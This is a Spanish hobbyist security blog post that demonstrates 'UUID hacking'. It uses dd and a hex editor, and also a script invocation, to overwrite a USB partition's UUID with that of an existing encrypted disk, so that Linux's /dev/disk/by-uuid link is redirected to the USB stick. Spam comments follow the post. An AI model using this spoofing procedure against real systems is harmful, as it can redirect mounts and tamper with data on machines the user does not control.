Los Caballeros

"Sobre seguridad, programación, modding, frikismo, etc... "

UUID Hacking

Twitter icon Twitter icon
Está es una técnica un poco "extraña" de "hacking", la idea de este ataque se basa en atacar el funcionamiento de la pila USB para suplantar un dispositivo por medio de un UUID Reemplazado.

"Un Identificador universalmente único (universally unique identifier o UUID) es un identificador estándar usado en el desarrollo de software"

"Un UUID es un número de 16-byte (128-bit). El número teórico de posibles UUID es entonces de unos 3 × 1038. En su forma canónica, un UUID consiste de 32 dígitos hexadecimales, mostrados en cinco grupos separados por guiones, de la forma 8-4-4-4-12 para un total de 36 caracteres (32 dígitos y 4 guiones). Por ejemplo:
550e8400-e29b-41d4-a716-446655440000"

Gracias amada wikipedia, no lo podría haber dicho mejor ;)

¿Cómo funciona el montado de devices en linux con UUID?

linux-7nli:/home/xianur0 # ls -alh /dev/disk/by-uuid/
total 0
drwxr-xr-x 2 root root 100 abr 1 11:07 .
drwxr-xr-x 5 root root 100 abr 1 11:01 ..
lrwxrwxrwx 1 root root 10 abr 1 11:07 471f4811-2b4d-421f-8883-2bd5f60b7877 -> ../../dm-1
lrwxrwxrwx 1 root root 10 abr 1 11:07 58ac1371-1dd9-4996-9be4-366f4758551c -> ../../sda3
lrwxrwxrwx 1 root root 10 abr 1 11:02 8c787ac4-88c4-4b85-9c07-7d88449c37e1 -> ../../sda2

Al hacer un ls a la lista de discos por uuid, notaremos que hacen un enlace simbólico al dispositivo, agregamos una memoria usb cualquiera:

lrwxrwxrwx 1 root root 10 abr 1 13:54 B4FE-5315 -> ../../sdb4

Notaremos que el uuid tiene un formato diferente (esta memoria fue formateada en FAT)

Formateamos desde linux en swap (en mi caso) y notaremos que el uuid cambia... entonces esto nos puede hacer pensar que el uuid se escribe directamente en los encabezados de la memoria usb y que no es algo fijo.

linux-7nli:/home/xianur0 # blkid | grep sdb
/dev/sdb1: LABEL="openSUSE-DV" UUID="B4FE-5315" TYPE="vfat"
/dev/sdb4: UUID="4850bce1-67ae-4c6c-97cf-54c2c5b9cb12" TYPE="swap"

dd:

linux-7nli:/home/xianur0 # dd if=/dev/sdb4 of=/home/xianur0/sdb4 ibs=2040 count=1
1+0 registros leídos
3+1 registros escritos
2040 bytes (2,0 kB) copiados, 0,00251428 s, 811 kB/s

Hex editor:


PD: El UUID está grabado dentro de los primeros 2040 bytes (normalmente).

Subimos los cambios (en esos 2040 bytes) al dispositivo (sobrescribimos):

linux-7nli:/home/xianur0 # dd if=sdb4-edited of=/dev/sdb4 conv=notrunc
3+1 registros leídos
3+1 registros escritos
2040 bytes (2,0 kB) copiados, 0,00582027 s, 350 kB/s
linux-7nli:/home/xianur0 # blkid
/dev/sda2: UUID="8c787ac4-88c4-4b85-9c07-7d88449c37e1" TYPE="reiserfs"
/dev/sda3: UUID="58ac1371-1dd9-4996-9be4-366f4758551c" TYPE="crypto_LUKS"
/dev/mapper/cr_sda3: UUID="471f4811-2b4d-421f-8883-2bd5f60b7877" TYPE="reiserfs"
/dev/sdb1: LABEL="openSUSE-DV" UUID="B4FE-5315" TYPE="vfat"
/dev/sdb4: UUID="58ac1371-1dd9-4996-9be4-366f4758551c" TYPE="swap"

Ahora la parte bonita:

linux-7nli:/home/xianur0 # ls -alh /dev/disk/by-uuid/
total 0
drwxr-xr-x 2 root root 100 abr 1 14:51 .
drwxr-xr-x 5 root root 100 abr 1 14:51 ..
lrwxrwxrwx 1 root root 10 abr 1 11:07 471f4811-2b4d-421f-8883-2bd5f60b7877 -> ../../dm-1
lrwxrwxrwx 1 root root 10 abr 1 14:51 58ac1371-1dd9-4996-9be4-366f4758551c -> ../../sda3
lrwxrwxrwx 1 root root 10 abr 1 11:02 8c787ac4-88c4-4b85-9c07-7d88449c37e1 -> ../../sda2
linux-7nli:/home/xianur0 # ls -alh /dev/disk/by-uuid/
total 0
drwxr-xr-x 2 root root 120 abr 1 14:51 .
drwxr-xr-x 6 root root 120 abr 1 14:51 ..
lrwxrwxrwx 1 root root 10 abr 1 11:07 471f4811-2b4d-421f-8883-2bd5f60b7877 -> ../../dm-1
lrwxrwxrwx 1 root root 10 abr 1 14:51 58ac1371-1dd9-4996-9be4-366f4758551c -> ../../sdb4
lrwxrwxrwx 1 root root 10 abr 1 11:02 8c787ac4-88c4-4b85-9c07-7d88449c37e1 -> ../../sda2
lrwxrwxrwx 1 root root 10 abr 1 14:51 B4FE-5315 -> ../../sdb1

Lo que pasó es que se remplazo el enlace simbólico original por el de la usb :P

También podemos hacer este procedimiento con UAT en un solo paso:

linux-7nli:/home/xianur0/arduinohack/UAT # python usb-change.py --device=/dev/sdb4 --search=4850bce167ae4c6c97cf54c2c5b9cb12 --replace=58ac13711dd949969be4366f4758551c

Found in: 1037
Ok

Y tenemos los datos cambiados :P

Happy Hacks

4 comentarios:

Anónimo dijo...

What in the name of god you did . . . mi no entender podrias explicar para que cambias el UUID

ksha dijo...

Xianuro, hace poco me toco realizar un cambio en unos discos tuve que reconstruir la metadata de un lvm.

See pvcreate --uuid 233443-343443-32434343-3434 /dev/sda1


;)

Joseph A. Wallace dijo...

Thanks for Information Informatica is one of the widely used ETL Tool for extracting the source data and loading it into the target after applying the required transformation. It provides a single enterprise data integration platform to help organization access, transform, and integrate data from a large variety of systems and deliver information to other transactional systems.Informatica Online Training

Alvaro Mineria dijo...

Muy buen post! Comparto con ustedes el link del sitio web de Alutel Mobility, una solución que permite el control de las personas y los vehículos de forma móvil focalizado en proyectos productivos, minería, petróleo gas, construcción. No se lo pierdan!